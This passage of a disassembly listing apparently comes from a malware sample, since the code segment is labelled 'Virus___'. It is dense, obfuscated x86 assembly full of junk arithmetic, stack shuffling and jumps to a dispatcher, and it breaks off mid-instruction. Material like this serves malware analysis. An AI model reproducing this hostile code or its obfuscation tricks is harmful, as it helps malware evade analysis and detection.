loc_55BB11 ; --------------------------------------------------------------------------- loc_562C25: ; CODE XREF: Virus___:0056321Cj add esp, 4 push esi jmp loc_551909 ; --------------------------------------------------------------------------- loc_562C31: ; CODE XREF: Virus___:00563BAEj add esp, 4 and ecx, edi push dword ptr [esp] pop edi push ebx mov ebx, esp jmp loc_555171 ; --------------------------------------------------------------------------- loc_562C42: ; CODE XREF: Virus___:005629B2j sub di, 0FAFDh push di jmp loc_557867 ; --------------------------------------------------------------------------- loc_562C4E: ; CODE XREF: Virus___:0055ACE5j sub ebp, eax pop eax push esi mov esi, ebp mov ebx, esi pop esi pop ebp mov ecx, ebx pop ebx sub esp, 4 mov [esp], edi push 6FBC2729h jmp loc_55CED6 ; --------------------------------------------------------------------------- loc_562C6E: ; CODE XREF: Virus___:00558993j and esi, 76C161F3h xchg edi, esi add edi, 0FFFFFFFFh jmp loc_5563FC ; --------------------------------------------------------------------------- loc_562C7E: ; CODE XREF: Virus___:005577E3j pop eax mov edx, [esp] add esp, 4 mov eax, [esp] jmp loc_55841F ; --------------------------------------------------------------------------- loc_562C90: ; CODE XREF: Virus___:005558AFj push ecx mov ecx, esp jmp loc_55D1FC ; --------------------------------------------------------------------------- loc_562C98: ; CODE XREF: Virus___:005578ACj mov esi, 333460A2h xor ebp, esi mov esi, [esp] add esp, 4 and ebp, 2F136EBBh shl ebp, 5 not ebp push esi push 0D31h mov [esp], ecx mov ecx, 51EF3C4Bh mov esi, 14FC4798h xor esi, ecx pop ecx push ebx mov ebx, 0EB9132Eh add ebp, ebx pop ebx push eax mov eax, 761D5536h jmp loc_55D8E2 ; --------------------------------------------------------------------------- loc_562CDD: ; CODE XREF: Virus___:00556AEFj add ecx, 0A08AE5EBh mov edx, ecx jmp loc_558E3C ; --------------------------------------------------------------------------- loc_562CEA: ; CODE XREF: Virus___:005545A4j pop esi add esi, 4 jmp loc_557FDE ; --------------------------------------------------------------------------- loc_562CF6: ; CODE XREF: Virus___:0055AA1Ej push ebx mov ebx, 75957496h jmp loc_554D2A ; --------------------------------------------------------------------------- loc_562D01: ; CODE XREF: Virus___:005558BDj push ecx mov ecx, 656535B0h shl ecx, 7 xor ecx, 292366Bh jmp loc_558C3C ; --------------------------------------------------------------------------- loc_562D15: ; CODE XREF: Virus___:005508ABj mov ebp, [esp] jmp loc_55EA6A ; --------------------------------------------------------------------------- loc_562D1D: ; CODE XREF: Virus___:005604BFj push edi mov edi, 4 sub edx, 3AC11275h sub edx, edi add edx, 3AC11275h pop edi jmp loc_5607CE ; --------------------------------------------------------------------------- loc_562D37: ; CODE XREF: Virus___:0055950Aj mov eax, 5C4058DBh xor eax, 46A639DEh xor eax, 3E325A2Ah jmp loc_55406C ; --------------------------------------------------------------------------- loc_562D4B: ; CODE XREF: Virus___:00562DA2j push ecx jmp loc_55C7BC ; --------------------------------------------------------------------------- loc_562D51: ; CODE XREF: Virus___:0055BBF1j add ebp, eax pop eax add eax, ebp pop ebp jmp loc_5591D0 ; --------------------------------------------------------------------------- loc_562D5C: ; CODE XREF: Virus___:0055EAF2j push eax mov eax, 535421C0h inc eax push edx mov edx, 7D94185Eh jmp loc_552B42 ; --------------------------------------------------------------------------- loc_562D6E: ; CODE XREF: Virus___:00560B92j push 796F6131h pop ecx and ecx, 4B043D9h sub ecx, 0A210F1EAh mov esi, ecx mov ecx, [esp] push edx mov edx, esp jmp loc_557BF3 ; --------------------------------------------------------------------------- loc_562D8D: ; CODE XREF: Virus___:0055C9FBj shr edx, 6 sub edx, 0B63FC4C8h push ebx mov ebx, edx mov eax, ebx pop ebx jmp loc_561C12 ; --------------------------------------------------------------------------- loc_562DA1: ; CODE XREF: Virus___:0055BF78j push eax jmp loc_562D4B ; --------------------------------------------------------------------------- loc_562DA7: ; CODE XREF: Virus___:00556991j push 5AD317C2h pop ebp shr ebp, 8 sub ebp, offset byte_5AD317 jmp loc_550D86 ; --------------------------------------------------------------------------- loc_562DBB: ; CODE XREF: Virus___:005616ACj pop ebx dec al shr al, 3 xchg ch, al not ch jmp loc_561A2E ; --------------------------------------------------------------------------- loc_562DCA: ; CODE XREF: Virus___:0055C48Bj mov ebx, 24F3BC1h xor ebp, ebx pop ebx xor ebp, 10E15774h add ebx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 4 sub ebx, 2AA54AEh sub ebx, edi sub esp, 4 jmp loc_560973 ; --------------------------------------------------------------------------- loc_562E01: ; CODE XREF: Virus___:00551F84j push 4 pop edi add ebx, edi push dword ptr [esp] pop edi add esp, 4 add ebx, 2 push esi mov esi, esp add esi, 4 push eax mov eax, 4 sub esi, eax jmp loc_55FEB8 ; --------------------------------------------------------------------------- loc_562E2C: ; CODE XREF: Virus___:005560C4j xchg ebp, [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_562E3C: ; CODE XREF: Virus___:00553BE0j mov [esp], eax mov eax, 4 push esi jmp loc_55A74D ; --------------------------------------------------------------------------- loc_562E4A: ; CODE XREF: Virus___:00553FA5j mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 1A68h mov [esp], edx push ebx mov bh, ch mov dh, bh pop ebx mov [eax], dh pop edx jmp loc_55D626 ; --------------------------------------------------------------------------- loc_562E8B: ; CODE XREF: Virus___:0055F062j add dword ptr [esp], 4 mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 add esi, ecx pop ecx push eax mov eax, 4 push ebx mov ebx, 69235170h neg ebx jmp loc_55320A ; --------------------------------------------------------------------------- loc_562EBC: ; CODE XREF: Virus___:0055C124j sub esp, 4 mov [esp], edx push eax mov ah, 0A1h push ebx sub esp, 4 mov [esp], ecx jmp loc_551A17 ; --------------------------------------------------------------------------- loc_562ED7: ; CODE XREF: Virus___:0055D4E4j push 39A0h mov [esp], ebx mov bh, 0F9h sub esp, 4 jmp loc_55F34B ; --------------------------------------------------------------------------- loc_562EE9: ; CODE XREF: Virus___:0055FED0j mov ebp, 125A1E3Ch sub dword ptr [esp+8], 51BE3D50h sub [esp+8], ebp add dword ptr [esp+8], 51BE3D50h pop ebp jmp loc_55E5B5 ; --------------------------------------------------------------------------- loc_562F08: ; CODE XREF: Virus___:0055D349j add ebx, 7665057Bh pop ecx jmp loc_55BC36 ; --------------------------------------------------------------------------- loc_562F14: ; CODE XREF: Virus___:00555B06j mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi push esp pop edi add edi, 4 add edi, 4 jmp loc_54FCFC ; --------------------------------------------------------------------------- loc_562F3D: ; CODE XREF: Virus___:0055B880j push edi jmp loc_562A88 ; --------------------------------------------------------------------------- loc_562F43: ; CODE XREF: Virus___:00564A17j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edi push ebp mov ebp, 75A82B6Eh push edi mov edi, 86456FCh add ebp, edi jmp loc_55AFF0 ; --------------------------------------------------------------------------- loc_562F6A: ; CODE XREF: Virus___:0055E355j sub esi, 0A0A36A5Eh push edx mov edx, esi jmp loc_564142 ; --------------------------------------------------------------------------- loc_562F78: ; CODE XREF: Virus___:00554923j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_562F7D: ; CODE XREF: Virus___:00556711j mov [esp], ecx jmp loc_55D938 ; --------------------------------------------------------------------------- loc_562F85: ; CODE XREF: Virus___:005645BBj mov esi, edx pop edx or edx, esi mov esi, [esp] add esp, 4 jmp loc_550C5F ; --------------------------------------------------------------------------- loc_562F98: ; CODE XREF: Virus___:0055B1C7j mov eax, [esp] add esp, 4 jmp loc_55795F ; --------------------------------------------------------------------------- loc_562FA6: ; CODE XREF: Virus___:0055B720j movzx cx, ah push small 4447h mov [esp], cx jmp loc_55779F ; --------------------------------------------------------------------------- loc_562FB7: ; CODE XREF: Virus___:0055AE2Cj push edi jmp loc_54FBFA ; --------------------------------------------------------------------------- loc_562FBD: ; CODE XREF: Virus___:0055872Cj mov esi, eax pop eax jmp loc_555774 ; --------------------------------------------------------------------------- loc_562FC5: ; CODE XREF: Virus___:00563ADDj and edi, 7570460Bh sub edi, 2A3D64AEh add edi, 0F5ED60B2h add ebx, edi pop edi add ebx, 4 jmp loc_562220 ; --------------------------------------------------------------------------- loc_562FE5: ; CODE XREF: Virus___:0055E3EBj mov ax, [esp] push 48C4h mov [esp], edi sub esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push ebx mov ebx, 4 add dword ptr [esp+4], 6F8F3F8Ch sub dword ptr [esp+4], 449A7AFBh add [esp+4], ebx add dword ptr [esp+4], 449A7AFBh sub dword ptr [esp+4], 6F8F3F8Ch pop ebx mov edi, [esp] add esp, 4 add edi, 4 jmp loc_54FC3F ; --------------------------------------------------------------------------- loc_563043: ; CODE XREF: Virus___:0055276Ej mov eax, ebp pop ebp jmp loc_550791 ; --------------------------------------------------------------------------- loc_56304B: ; CODE XREF: Virus___:005625D6j xchg esi, [esp] pop esp jmp loc_55AA68 ; --------------------------------------------------------------------------- loc_563054: ; CODE XREF: Virus___:0055498Bj add esp, 4 add esi, 4 jmp loc_554CD9 ; --------------------------------------------------------------------------- loc_563062: ; CODE XREF: Virus___:00554133j mov ax, [esp] jmp loc_5612F0 ; --------------------------------------------------------------------------- loc_56306B: ; CODE XREF: Virus___:00557B65j shl al, 5 not al jmp loc_55CE50 ; --------------------------------------------------------------------------- loc_563075: ; CODE XREF: Virus___:005647BEj pop ebp or edx, 5AA2C8Fh shr edx, 2 inc edx push edi mov edi, 10DA8F5Ch jmp loc_563C11 ; --------------------------------------------------------------------------- loc_56308B: ; CODE XREF: Virus___:00560D5Fj add bl, al jmp loc_55BF68 ; --------------------------------------------------------------------------- loc_563092: ; CODE XREF: Virus___:00561E5Dj sub ebp, 48425C76h add ebp, ecx jmp loc_5568DB ; --------------------------------------------------------------------------- loc_56309F: ; CODE XREF: Virus___:00551A2Aj sub ebx, 7B5C5601h add ecx, ebx pop ebx xchg ecx, [esp] jmp loc_563A31 ; --------------------------------------------------------------------------- loc_5630B0: ; CODE XREF: Virus___:0054F879j push dx mov dl, 30h add ah, dl pop dx and cl, ah push dword ptr [esp] pop eax add esp, 4 sub cl, 66h push edx mov dh, cl mov al, dh jmp loc_55FABF ; --------------------------------------------------------------------------- loc_5630CE: ; CODE XREF: Virus___:00555D7Cj shl bx, 4 jmp loc_555D1F ; --------------------------------------------------------------------------- loc_5630D7: ; CODE XREF: Virus___:0055FBD8j mov esp, [esp] mov [esp], ebx mov ebx, 551E6EAFh sub ebx, 5D150C56h dec ebx neg ebx jmp loc_559AB9 ; --------------------------------------------------------------------------- loc_5630F0: ; CODE XREF: Virus___:0055EB98j mov [esp], eax push esi mov esi, 4 push esi pop eax mov esi, [esp] jmp loc_55273A ; --------------------------------------------------------------------------- loc_563103: ; CODE XREF: Virus___:005512BBj pop ebx mov esi, [esp] add esp, 4 add ebp, ebx mov ebx, [esp] jmp loc_5551DC ; --------------------------------------------------------------------------- loc_563117: ; CODE XREF: Virus___:0055E33Fj inc ecx jmp loc_558943 ; --------------------------------------------------------------------------- loc_56311D: ; CODE XREF: Virus___:00550320j mov eax, 53C334CAh dec eax sub eax, 35E20D67h jmp loc_559981 ; --------------------------------------------------------------------------- loc_56312D: ; CODE XREF: Virus___:0055E2A3j sub eax, 60C63A84h sub esi, eax jmp loc_5566F6 ; --------------------------------------------------------------------------- loc_563139: ; CODE XREF: Virus___:005611CEj shl bh, 4 shl bh, 7 dec bh jmp loc_5646CA ; --------------------------------------------------------------------------- loc_563146: ; CODE XREF: Virus___:0055E58Dj xor [esp], ebx not ebx xchg ebx, [esp] pop edx push 0 sub [esp], edx pop edx push edi push 34AB6935h jmp loc_55AC5D ; --------------------------------------------------------------------------- loc_563163: ; CODE XREF: Virus___:005644BEj mov [esp], ecx mov ecx, 19A0346Bh shl ecx, 7 sub ecx, 920FD708h sub eax, ecx pop ecx add edx, eax mov eax, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_55D804 ; --------------------------------------------------------------------------- loc_563190: ; CODE XREF: Virus___:00561794j sub ecx, 1F02416Eh shr ecx, 5 sub esp, 4 mov [esp], edi jmp loc_5611A1 ; --------------------------------------------------------------------------- loc_5631A4: ; CODE XREF: Virus___:005527AFj pop edx sub dword ptr [esp+4], 13974B67h pop edi pop eax push 307Bh jmp loc_55FA88 ; --------------------------------------------------------------------------- loc_5631B9: ; CODE XREF: Virus___:0055EB63j push ebp mov ebp, 14344ABFh mov ecx, ebp pop ebp push ebp mov ebp, 352B66A5h xor ecx, ebp pop ebp push ebx mov ebx, 64EF52D2h add esi, ebx pop ebx sub esi, ecx sub esi, 64EF52D2h pop ecx add esi, 0B2C807EFh jmp loc_559CDD ; --------------------------------------------------------------------------- loc_5631E8: ; CODE XREF: Virus___:00552EECj add edx, ebp add edx, 6C727BCBh mov ebp, [esp] add esp, 4 xchg edx, [esp] pop esp push 6566h mov [esp], esi jmp loc_55F638 ; --------------------------------------------------------------------------- loc_56320A: ; CODE XREF: Virus___:005567D5j sub cl, 0A3h xor dh, cl pop ecx sub al, 39h sub al, dh add al, 39h push dword ptr [esp] mov edx, [esp] jmp loc_562C25 ; --------------------------------------------------------------------------- loc_563221: ; CODE XREF: Virus___:00562018j mov edx, 0 add edx, eax push ebx push esi push 2C247B6Bh pop esi jmp loc_563AC2 ; --------------------------------------------------------------------------- loc_563235: ; CODE XREF: Virus___:0055F4EEj mov esi, 48AC658Ch and esi, 6BA34E7h or esi, 1B48194Dh xor esi, 2F3301A7h and ebp, esi pop esi add ebp, 12A37B2Ch push edi mov edi, 88F20F7h or ebp, edi pop edi sub ebp, 0A6F2816Fh add ecx, ebp jmp loc_563C57 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_550E07 ; --------------------------------------------------------------------------- loc_56327A: ; CODE XREF: Virus___:00550FE2j xchg edi, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_563289: ; CODE XREF: Virus___:00553233j push 27F3h mov [esp], ebx mov ebx, 75F80D17h jmp loc_55EAF1 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx sub esp, 4 jmp loc_562659 ; --------------------------------------------------------------------------- loc_5632AB: ; CODE XREF: Virus___:0055D362j mov ecx, [esp] jmp loc_56068F ; --------------------------------------------------------------------------- loc_5632B3: ; CODE XREF: Virus___:0055EB10j mov bh, dh mov ch, bh pop ebx pop edx jmp loc_553F99 ; --------------------------------------------------------------------------- loc_5632BE: ; CODE XREF: Virus___:00559EA9j add edx, 4 push edx push dword ptr [esp+4] jmp loc_5594EF ; --------------------------------------------------------------------------- loc_5632CE: ; CODE XREF: Virus___:0055F853j add ebx, 281815E3h add ebx, edi sub ebx, 281815E3h push 3AB1h mov [esp], esi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push dword ptr [esp] jmp loc_56279E ; --------------------------------------------------------------------------- loc_5632FE: ; CODE XREF: Virus___:00557853j mov esi, 8E144DDh jmp loc_556650 ; --------------------------------------------------------------------------- loc_563308: ; CODE XREF: Virus___:00557D2Fj mov cl, ah pop eax push esi jmp loc_552B48 ; --------------------------------------------------------------------------- loc_563311: ; CODE XREF: Virus___:0055A947j push dword ptr [esp] jmp loc_55EDA9 ; --------------------------------------------------------------------------- loc_563319: ; CODE XREF: Virus___:0055E237j sub ch, 1 jmp loc_55269C ; --------------------------------------------------------------------------- loc_563321: ; CODE XREF: Virus___:0055F48Aj sub ebp, 67E288Bh and ebp, 590D7839h shr ebp, 5 jmp loc_556413 ; --------------------------------------------------------------------------- loc_563335: ; CODE XREF: Virus___:0055B716j sub al, 8Eh shl al, 7 dec al xor al, 12h xor dl, al pop eax jmp loc_563887 ; --------------------------------------------------------------------------- loc_563346: ; CODE XREF: Virus___:0055C466j mov [esp], ecx mov ecx, 40h mov edx, ecx push dword ptr [esp] pop ecx add esp, 4 add edx, 5A0677BBh add edx, edi sub edx, 5A0677BBh push ecx push esi jmp loc_552608 ; --------------------------------------------------------------------------- loc_56336F: ; CODE XREF: Virus___:00551815j imul cx push small 3ACDh mov [esp], dx push ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_563392: ; CODE XREF: Virus___:00554CFEj mov [esp], edx jmp loc_5613AF ; --------------------------------------------------------------------------- loc_56339A: ; CODE XREF: Virus___:005602BCj mov ecx, [esp] add esp, 4 add esp, 4 xor eax, edx pop edx jmp loc_550A8F ; --------------------------------------------------------------------------- loc_5633AE: ; CODE XREF: Virus___:00561D98j push ecx mov ecx, 47DE1BADh and ecx, 7055654Ah sub ecx, 0CA569B6Ah or ebp, ecx pop ecx sub ebp, 7FFD77DBh add edi, ebp pop ebp add edi, 4 jmp loc_558E34 ; --------------------------------------------------------------------------- loc_5633D7: ; CODE XREF: Virus___:00558D07j push eax mov eax, 37B97703h inc eax sub eax, 0FFFFFFFFh inc eax add eax, 4EEF54Bh add edi, eax jmp loc_550201 ; --------------------------------------------------------------------------- loc_5633F0: ; CODE XREF: Virus___:005579FBj push 4D1Eh mov [esp], edi jmp loc_5601BA ; --------------------------------------------------------------------------- loc_5633FD: ; CODE XREF: Virus___:005647F4j mov esp, [esp] mov ax, [esp] push 2198h mov [esp], edi push esp pop edi jmp loc_556A16 ; --------------------------------------------------------------------------- loc_563413: ; CODE XREF: Virus___:00555800j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], edi mov edi, esp push eax mov eax, 4 add edi, eax pop eax push ecx push ebx mov ebx, 484462A3h push edx mov edx, 59587C8Fh add edx, 5E6320D0h jmp loc_557C04 ; --------------------------------------------------------------------------- loc_563444: ; CODE XREF: Virus___:005576E7j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_55DD04 ; --------------------------------------------------------------------------- loc_563456: ; CODE XREF: Virus___:005517C1j xchg ecx, [esp] pop esp jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56345F: ; CODE XREF: Virus___:00561734j pop esp jmp loc_550430 ; --------------------------------------------------------------------------- loc_563465: ; CODE XREF: Virus___:0055871Ej mov [esp], esp push eax jmp loc_55E397 ; --------------------------------------------------------------------------- loc_56346E: ; CODE XREF: Virus___:00550064j add edx, 4 xor edx, [esp] jmp loc_560E61 ; --------------------------------------------------------------------------- loc_563479: ; CODE XREF: Virus___:00553B5Bj sub edi, 59E446ACh shl edi, 1 jmp loc_55209E ; --------------------------------------------------------------------------- loc_563486: ; CODE XREF: Virus___:0055B902j xor ecx, 785B5E9Ch xor ecx, 2BF6C87h xor ecx, 1E530041h add ecx, 7EB1477Eh mov esi, ecx pop ecx xor edi, esi mov esi, [esp] add esp, 4 or edi, 683D70C0h add edi, 6DF92377h xor edi, 1A2E1D6Bh jmp loc_550F71 ; --------------------------------------------------------------------------- loc_5634C3: ; CODE XREF: Virus___:00558A14j push edx not dword ptr [esp] pop edx shr edx, 2 push ebx mov ebx, 1BAB185Eh and ebx, 505C7617h jmp loc_558723 ; --------------------------------------------------------------------------- loc_5634DC: ; CODE XREF: Virus___:005593CCj xchg edx, [esp] pop esp mov [esp], edx push esp jmp loc_55CE70 ; --------------------------------------------------------------------------- loc_5634E9: ; CODE XREF: Virus___:0055B1D7j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5634EE: ; CODE XREF: Virus___:00554CDAj push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] div ecx push 27CBh mov [esp], edx push eax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56350A: ; CODE XREF: Virus___:00556C23j xchg ebx, [esp] jmp loc_55DB3B ; --------------------------------------------------------------------------- loc_563512: ; CODE XREF: Virus___:00556B70j dec edx jmp loc_5563B5 ; --------------------------------------------------------------------------- loc_563518: ; CODE XREF: Virus___:00562972j push edi jmp loc_555A74 ; --------------------------------------------------------------------------- loc_56351E: ; CODE XREF: Virus___:00558EBFj pop si add ax, 1F1h sub ax, cx push ebx mov bx, 28F5h inc bx jmp loc_555D63 ; --------------------------------------------------------------------------- loc_563533: ; CODE XREF: Virus___:00552F94j pop dword ptr [esp] pop esp jmp loc_55890D ; --------------------------------------------------------------------------- loc_56353C: ; CODE XREF: Virus___:00555143j add esp, 4 sub bl, 0B3h add bl, al jmp loc_55A904 ; --------------------------------------------------------------------------- loc_56354C: ; CODE XREF: Virus___:00552E95j add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 7EFF33DEh or ecx, ebp pop ebp push edi mov edi, 24DA35ADh xor ecx, edi jmp loc_556BF5 ; --------------------------------------------------------------------------- loc_563570: ; CODE XREF: Virus___:00552C15j sub edx, 70342E53h push ecx mov ecx, 59F82A21h jmp loc_56201D ; --------------------------------------------------------------------------- loc_563581: ; CODE XREF: Virus___:0055F768j push 2034h mov [esp], ebp jmp loc_562A0B ; --------------------------------------------------------------------------- loc_56358E: ; CODE XREF: Virus___:00560E5Cj or edx, edi pop edi jmp loc_55B885 ; --------------------------------------------------------------------------- loc_563596: ; CODE XREF: Virus___:00562351j push 6558h mov [esp], ebp mov ebp, 6ED57244h add ebp, 0ED2BFBFAh add edi, ebp pop ebp pop eax jmp loc_553E2F ; --------------------------------------------------------------------------- loc_5635B2: ; CODE XREF: Virus___:00559B0Bj btr [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5635BD: ; CODE XREF: Virus___:0055151Bj push esi mov esi, 0C481399h xor esi, 2BE74A54h add edx, esi pop esi jmp loc_564047 ; --------------------------------------------------------------------------- loc_5635D1: ; CODE XREF: Virus___:00551C6Aj add edi, 0FA0830DDh jmp loc_55C908 ; --------------------------------------------------------------------------- loc_5635DC: ; CODE XREF: Virus___:00554D5Dj push ebp mov ebp, 4CF62A11h push edx mov edx, 59B5052Bh shl edx, 8 push 0 sub [esp], edx pop edx shl edx, 2 neg edx xor edx, 0BB14C7C9h sub eax, edx pop edx sub eax, ebp add eax, 6F006BC9h pop ebp sub esp, 4 jmp loc_558D23 ; --------------------------------------------------------------------------- loc_563612: ; CODE XREF: Virus___:0055224Bj inc dh push ax mov ah, dh not ah push ebx jmp loc_55084B ; --------------------------------------------------------------------------- loc_563620: ; CODE XREF: Virus___:0055D867j mov dl, bh pop ebx mov bh, dl pop edx pop eax jmp loc_5617A6 ; --------------------------------------------------------------------------- loc_56362C: ; CODE XREF: Virus___:0055F123j push eax mov eax, 40AB3CFEh or ebp, eax jmp loc_5608DB ; --------------------------------------------------------------------------- loc_563639: ; CODE XREF: Virus___:00561678j xor esi, eax mov eax, [esp] add esp, 4 jmp loc_562A93 ; --------------------------------------------------------------------------- loc_563649: ; CODE XREF: Virus___:00560596j pop ebx jmp loc_555546 ; --------------------------------------------------------------------------- loc_56364F: ; CODE XREF: Virus___:00561982j pop ebx pop dword ptr [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_563660: ; CODE XREF: Virus___:00550363j mov esi, [esp] add esp, 4 push edi jmp loc_55998C ; --------------------------------------------------------------------------- loc_56366F: ; CODE XREF: Virus___:00559816j xor esi, 307E5C84h inc esi shl esi, 3 add esi, 0EBDD38A3h jmp loc_564BD7 ; --------------------------------------------------------------------------- loc_563684: ; CODE XREF: Virus___:0055FAC0j mov ecx, [esp] add esp, 4 jmp loc_5548B3 ; --------------------------------------------------------------------------- loc_563692: ; CODE XREF: Virus___:00560D4Ej mov edi, [esp] add esp, 4 add ebx, ecx pop ecx sub edx, ebx jmp loc_55F45E ; --------------------------------------------------------------------------- loc_5636A5: ; CODE XREF: Virus___:0055FAA4j xor bl, ah mov eax, [esp] add esp, 4 sub esp, 2 jmp loc_551B4D ; --------------------------------------------------------------------------- loc_5636B8: ; CODE XREF: Virus___:00550BABj mov [esp], ebp mov ebp, 32881A5Ch mov edi, 0CC118CBh xor edi, ebp mov ebp, [esp] add esp, 4 shr edi, 7 jmp loc_5541E4 ; --------------------------------------------------------------------------- loc_5636D5: ; CODE XREF: Virus___:0055166Ej shr ebx, 1 jmp loc_55D147 ; --------------------------------------------------------------------------- loc_5636DC: ; CODE XREF: Virus___:00557C6Dj xor [esp+4], edi mov edi, [esp] push 77DBh mov [esp], ecx push 23A1h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ecx add ecx, 4 push ebx mov ebx, 23E304FEh or ebx, 76CA1313h add ebx, 68121EC5h or ebx, 15385F33h inc ebx jmp loc_551989 ; --------------------------------------------------------------------------- loc_56371D: ; CODE XREF: Virus___:005648B8j mov ecx, eax mov eax, [esp] add esp, 4 or ecx, 73221388h not ecx inc ecx jmp loc_55EB15 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56373E: ; CODE XREF: Virus___:00553D40j pop edx add ebx, 1 xor ebx, 16441A5h add eax, ebx mov ebx, [esp] jmp loc_55F6B5 ; --------------------------------------------------------------------------- mov ax, [esp] push esi mov esi, esp sub esp, 4 mov [esp], eax push ebx mov ebx, 3DDE44D7h or ebx, 5C6161A4h push edx mov edx, 271B31DBh xor edx, 4F851165h sub ebx, edx pop edx mov eax, ebx pop ebx neg eax or eax, 1F817CACh or eax, 40C43319h add eax, 31631042h jmp loc_55F18E ; --------------------------------------------------------------------------- loc_563793: ; CODE XREF: Virus___:00561585j add edx, 0D389E1D5h and eax, edx pop edx sub eax, 1702E0h mov edx, eax pop eax jmp loc_55B7C4 ; --------------------------------------------------------------------------- loc_5637A9: ; CODE XREF: Virus___:005522A1j push eax mov ah, bh jmp loc_555A9C ; --------------------------------------------------------------------------- loc_5637B1: ; CODE XREF: Virus___:00560579j push esp pop esi add esi, 4 jmp loc_558EAB ; --------------------------------------------------------------------------- loc_5637BE: ; CODE XREF: Virus___:00560841j push edi mov edi, esp jmp loc_5620CE ; --------------------------------------------------------------------------- loc_5637C6: ; CODE XREF: Virus___:005510F2j add edi, 4 jmp loc_55E9CC ; --------------------------------------------------------------------------- loc_5637D1: ; CODE XREF: Virus___:0055CDB0j push 2A09h mov [esp], edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx pop eax pop ecx xchg esi, ecx jmp loc_55F79A ; --------------------------------------------------------------------------- loc_5637F4: ; CODE XREF: Virus___:005625C6j pop esi push ebx mov ebx, 59802FD1h shl ebx, 8 jmp loc_55B907 ; --------------------------------------------------------------------------- loc_563803: ; CODE XREF: Virus___:0055ACFCj mov edi, [esp] jmp loc_5617BA ; --------------------------------------------------------------------------- loc_56380B: ; CODE XREF: Virus___:0055B7BFj pop ecx push ecx jmp loc_555767 ; --------------------------------------------------------------------------- loc_563812: ; CODE XREF: Virus___:005646B7j push 47EAh mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx pop edx jmp loc_557852 ; --------------------------------------------------------------------------- loc_56382B: ; CODE XREF: Virus___:00561783j pop edi jmp loc_55C455 ; --------------------------------------------------------------------------- loc_563831: ; CODE XREF: Virus___:0055D765j push esi mov esi, 4 sub eax, esi jmp loc_557429 ; --------------------------------------------------------------------------- loc_56383E: ; CODE XREF: Virus___:00550653j mov esi, 4 push esi jmp loc_54FE0D ; --------------------------------------------------------------------------- loc_563849: ; CODE XREF: Virus___:005509B8j sub bl, dl pop edx sub bl, 0A0h sub bl, al add bl, 0A0h push ax mov ah, 0E4h sub bl, 74h jmp loc_555735 ; --------------------------------------------------------------------------- loc_563860: ; CODE XREF: Virus___:0055DC9Cj push esi push 416923C7h mov esi, [esp] push esi jmp loc_55574E ; --------------------------------------------------------------------------- loc_56386F: ; CODE XREF: Virus___:005547CEj mov ecx, 4 sub esi, 481000FCh add esi, ecx add esi, 481000FCh jmp loc_55A7C7 ; --------------------------------------------------------------------------- loc_563887: ; CODE XREF: Virus___:00563341j sub al, dl jmp loc_554BD5 ; --------------------------------------------------------------------------- loc_56388E: ; CODE XREF: Virus___:00562940j mov esi, 67797F12h jmp loc_5512DA ; --------------------------------------------------------------------------- loc_563898: ; CODE XREF: Virus___:005531D1j add esi, 0ACF55893h add edx, esi pop esi add edx, ebp sub edx, 56FC58EAh jmp loc_555B00 ; --------------------------------------------------------------------------- loc_5638AE: ; CODE XREF: Virus___:0054F960j and eax, 396E7A41h inc eax or eax, 2535E5Eh xor eax, 2EBE75C6h add esi, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_551F89 ; --------------------------------------------------------------------------- loc_5638CC: ; CODE XREF: Virus___:00554E75j mov esp, [esp] push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55338D ; --------------------------------------------------------------------------- loc_5638E5: ; CODE XREF: Virus___:0055CDDCj push eax jmp loc_55052A ; --------------------------------------------------------------------------- loc_5638EB: ; CODE XREF: Virus___:005560EBj pop ebp push edi push esp pop edi jmp loc_54F88A ; --------------------------------------------------------------------------- loc_5638F4: ; CODE XREF: Virus___:00551433j mov [esp], edx mov dl, 25h inc dl jmp loc_556393 ; --------------------------------------------------------------------------- loc_563900: ; CODE XREF: Virus___:00556F58j mov eax, [esp] add esp, 4 push edx jmp loc_55AE31 ; --------------------------------------------------------------------------- loc_56390C: ; CODE XREF: Virus___:0055B08Dj add eax, edi jmp loc_55A587 ; --------------------------------------------------------------------------- loc_563913: ; CODE XREF: Virus___:0055CA80j sub ebp, 16940D56h mov eax, [esp] add 